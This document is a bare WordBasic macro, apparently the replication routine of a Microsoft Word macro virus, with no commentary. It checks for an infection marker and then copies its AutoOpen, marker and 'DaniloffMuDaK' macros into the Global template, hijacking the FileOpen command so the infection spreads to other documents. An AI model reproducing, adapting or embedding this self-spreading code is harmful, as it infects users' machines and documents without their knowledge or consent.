Macro: AutoOp

Sub MAIN
On Error Goto fail
hru = 0
j = CountMacros(0, 0)
For i = 1 To j
 If MacroName$(i, 0, 0) = "WWUpdated" Then hru = 1
Next i

If hru = 1 Then Goto fail

MacroCopy FileName$() + ":AutoOpen", "Global:AutoOp"
MacroCopy FileName$() + ":WWUpdated", "Global:WWUpdated"
MacroCopy FileName$() + ":DaniloffMuDaK", "Global:FileOpen"
fail:
End Sub
